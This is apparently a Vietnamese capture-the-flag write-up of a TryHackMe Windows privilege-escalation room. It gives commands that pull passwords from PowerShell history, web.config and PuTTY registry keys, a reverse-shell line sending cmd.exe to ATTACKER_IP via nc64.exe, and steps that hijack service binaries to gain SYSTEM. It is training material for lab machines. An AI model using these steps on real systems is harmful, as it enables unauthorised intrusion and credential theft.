Bài viết

TryHackMe - Leo thang đặc quyền trên Windows

Các phương pháp khác nhau để leo thang đặc quyền trên Windows

TryHackMe - Leo thang đặc quyền trên Windows

Giới thiệu

Leo thang đặc quyền là một phần thiết yếu trong kiểm thử xâm nhập và hacking nói chung, vì đây là cách để giành toàn quyền truy cập vào máy từ xa.

Phần này tập trung vào Windows.

Tryhackme Room Link

Leo thang đặc quyền là gì?

  • Leo thang đặc quyền là quá trình giành được mức truy cập hoặc quyền hạn cao hơn trên hệ thống so với mức được cấp ban đầu.

Hai loại leo thang đặc quyền chính:

  1. Leo thang đặc quyền theo chiều dọc (nâng quyền) – Kẻ tấn công giành được quyền hạn cao hơn, chẳng hạn chuyển từ tài khoản người dùng thông thường lên quyền quản trị viên hoặc root. Điều này thường xảy ra thông qua việc khai thác lỗ hổng phần mềm, cấu hình sai hoặc đánh cắp thông tin đăng nhập.

  2. Leo thang đặc quyền theo chiều ngang – Kẻ tấn công vẫn giữ nguyên mức đặc quyền nhưng giành được quyền truy cập vào tài khoản hoặc tài nguyên của người dùng khác. Ví dụ, một người dùng thông thường có thể truy cập dữ liệu riêng tư của người dùng khác.

Leo thang đặc quyền trên Windows

  • Người dùng Windows được chia thành hai nhóm:
  1. Administrators – Những người dùng này có nhiều đặc quyền nhất. Họ có thể thay đổi mọi tham số cấu hình hệ thống và truy cập mọi tệp trong hệ thống
  2. Standard Users – Những người dùng này có thể truy cập máy tính nhưng chỉ thực hiện được các tác vụ hạn chế. Thông thường, họ không thể thực hiện những thay đổi lâu dài hoặc thiết yếu đối với hệ thống và chỉ được giới hạn trong các tệp của mình
  • Các tài khoản tích hợp sẵn:
  1. SYSTEM / LocalSystem: Tài khoản có đặc quyền cao nhất, thậm chí cao hơn quản trị viên, với toàn quyền truy cập hệ thống
  2. Local Service: Chạy các dịch vụ với đặc quyền tối thiểu và sử dụng kết nối mạng ẩn danh
  3. Network Service: Chạy các dịch vụ với đặc quyền tối thiểu và sử dụng thông tin xác thực của máy tính để xác thực qua mạng

Những người dùng có thể thay đổi cấu hình hệ thống thuộc nhóm nào?

Câu trả lời:

1
Administrators

Tài khoản SYSTEM có nhiều đặc quyền hơn người dùng Administrator hay không? (aye/nay)

1
aye

Thu thập mật khẩu từ những vị trí thường gặp

Mật khẩu của người dùng julia.jones đã bị để lại trong lịch sử PowerShell. Mật khẩu là gì?

1
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Less

Một máy chủ web đang chạy trên máy từ xa. Hãy tìm mật khẩu đáng chú ý trong các tệp web.config liên quan đến IIS. Mật khẩu của người dùng db_admin là gì?

Chúng ta chỉ cần sử dụng lệnh được cung cấp trong thử thách trên máy Windows đã được khởi tạo.

1
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Less

Có một mật khẩu đã được lưu trong Windows Credentials. Sử dụng cmdkey và runas, hãy tạo shell cho mike.katz và lấy flag từ màn hình nền của người dùng này.

Chúng ta sẽ làm theo các bước được cung cấp trong thử thách.

1
runas /savecred /user:WPRIVESC1\mike.katz cmd.exe

Lệnh này mở một cửa sổ CMD mới. Bây giờ, chúng ta chỉ cần kiểm tra flag.

Flag

Hãy lấy mật khẩu được lưu trong phiên PuTTY thuộc hồ sơ của bạn. Mật khẩu của người dùng thom.smith là gì?

1
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Flag

Những cách khai thác nhanh khác

Về cơ bản, nhiệm vụ này là phiên bản Windows tương đương với cron job trên Linux.

Tệp schtask.bat đóng vai trò như cron job, vì vậy chúng ta cần ghi shell của mình vào đó. Khi tác vụ chạy, chúng ta sẽ nhận được kết nối shell.

1
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

Khởi động Netcat listener trên máy tấn công:

1
2
nc -lvnp 1337
listening on [any] 1337 ...

Sau đó chạy scheduled task trên máy nạn nhân:

1
C:\> schtasks /run /tn vulntask

Flag

Chúng ta sẽ nhận được kết nối.

Flag

Sau đó, chúng ta chỉ cần đọc flag.

Flag

Lạm dụng cấu hình sai của dịch vụ

Chúng ta có quyền thay đổi WService.exe.

Scheduler

Hãy sử dụng payload được cung cấp.

Payload

Bây giờ, hãy khởi động máy chủ HTTP trên máy cục bộ.

1
python3 -m http.server 80

Payload

Có vẻ như chúng ta phải sử dụng PowerShell cho bước này.

Payload

Có vẻ như lệnh này không tải tệp xuống. Sau khi điều tra một chút, tôi phát hiện rằng cần chỉ định tệp đầu ra bằng cờ -O.

Payload

  • Di chuyển tệp đến vị trí của WService
  • Cấp các quyền cần thiết cho tệp

Payload

Bây giờ, chúng ta khởi động Netcat listener và khởi động lại tiến trình WindowsScheduler để reverse shell được thực thi.

1
nc -lvnp 1337
1
C:\Users\thm-unpriv> sc stop windowsscheduler

Sau đó, chúng ta nhận được kết nối.

Flag nằm tại C:\Users\svcusr1\Desktop.

Đối với flag thứ hai, chúng ta thực hiện chính xác quy trình tương tự nhưng với Disk.exe. Điểm khác biệt duy nhất là cần đặt tên tiến trình trong dấu ngoặc kép vì tên của nó có khoảng trắng.

1
2
sc stop "disk sorter enterprise"
sc stop "disk sorter enterprise"

Flag nằm tại C:\Users\svcusr2\Desktop.

Đối với flag cuối cùng, quy trình hoàn toàn giống nhau, nhưng lần này chúng ta sẽ thay đổi đường dẫn binary của THMService.

1
2
3
sc config THMService binPath= "C:\Isers\thm-unpriv\rev-svc3.exe" obj= LocalSystem
sc stop THMService
sc start THMService

Flag nằm tại C:\Users\Administrator\Desktop.

Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .